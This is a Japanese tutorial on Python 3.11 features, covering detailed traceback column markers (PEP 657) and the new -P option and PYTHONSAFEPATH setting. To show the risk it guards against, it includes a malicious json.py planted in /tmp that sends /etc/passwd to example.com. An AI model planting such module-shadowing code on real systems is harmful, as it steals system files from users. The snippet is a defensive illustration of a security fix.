Python 3.11でのPython本体への機能追加を紹介します。
PEP 657 – トレースバックの詳細エラー表示¶
これまで、Pythonスクリプトの実行中にエラーが発生すると、エラーが発生した行番号が表示されていました。
Traceback (most recent call last):
File "pep657.py", line 5, in <module>
f(1, 2, None, 4, 5)
File "pep657.py", line 2, in f
return a + b + c + d + e
TypeError: unsupported operand type(s) for +: 'int' and 'NoneType'
この場合だと、return a + b + c + d + e
という行で、整数値と None
を加算しようとしてエラーが発生していることはわかりますが、どの変数の加算でエラーが発生したのかはわかりません。
Python3.11では、エラーが発生した行数だけではなく、カラムも表示されるようになりました。
Traceback (most recent call last):
File "pep657.py", line 5, in <module>
f(1, 2, None, 4, 5)
File "pep657.py", line 2, in f
return a + b + c + d + e
~~~~~~^~~
TypeError: unsupported operand type(s) for +: 'int' and 'NoneType'
この表示を見ると、b + c
の部分でエラー表示されています。この場合だと、変数 c
の値が None
なのでエラーとなっているのがひと目でわかりますね。
コマンドラインオプション -P と 環境変数 PYTHONSAFEPATH¶
Pythonは、起動時にモジュール検索パス sys.path の先頭に次のディレクトリを追加します。
起動形式 | 追加されるPATH | 意味 |
---|---|---|
python3 /full/path/to/script.py | "/full/path/to" | ファイルと同じディレクトリを検索 |
python3 -m module_name | 例: "/home/username" | 起動時のディレクトリを検索 |
python3 | "" | カレントディレクトリを検索 |
python3.11 -c 'print("hello")' | "" | カレントディレクトリを検索 |
これにより、起動するスクリプトで import
文を実行すると、同じディレクトリにあるモジュールを実行できます。
しかし、この追加は意図しない危険の元になってしまうことがあります。たとえば、次のコマンドは、カレントディレクトリにあるJSONファイル foo.json
を読み込んで要素を出力します。
$ python3 -c 'import json;print(json.load(open("foo.json")))'
このコマンドは、特定のユーザしか書き込めないような、安全なディレクトリで実行すれば問題ありません。
しかし、/tmp
ディレクトリのように、だれでも書き込めるディレクトリで実行するとどうなるでしょう?
$ cd /tmp && python3 -c 'import json;print(json.load(open("foo.json")))'
この場合、だれか悪意を持ったユーザが /tmp/json.py
にこんな内容のファイルを作成しているかもしれません。
# /tmp/json.py
from urllib import request
urllib.request.urlopen("http://example.com", open("/etc/passwd", "rb").read())
この状態でコマンド cd /tmp && python -c "import json"
を実行すると、Python標準ライブラリの json
ではなく、カレントディレクトリ(/etc/
)に存在する json.py
がインポートされ、/etc/passwd
ファイルの内容がどこかのサイトに送られてしまいます。
Python 3.11では、python3コマンドの起動オプションに -P
が追加され、自動的に sys.path
にディレクトリを追加しないように指定できるようになりました。-P
を指定すれば、このような場合にもカレントディレクトリにあるモジュールがインポートされることはなくなります。
# 通常は sys.path に '' が追加される
$ python3.11 -c "import sys;print(sys.path)"
['', '/Library/Frameworks/Python.framework/.../...', ...]
# -P を指定すると '' が追加されない
$ python3.11 -P -c "import sys;print(sys.path)"
['/Library/Frameworks/Python.framework/.../...', ...]
-P
オプションを指定する代わりに、環境変数 PYTHONSAFEPATH
を設定しても同じ効果があります。
# PYTHONSAFEPATHに値を設定すると '' が追加されない
PYTHONSAFEPATH=1 python3.11 -c "import sys;print(sys.path)"
['/Library/Frameworks/Python.framework/.../...', ...]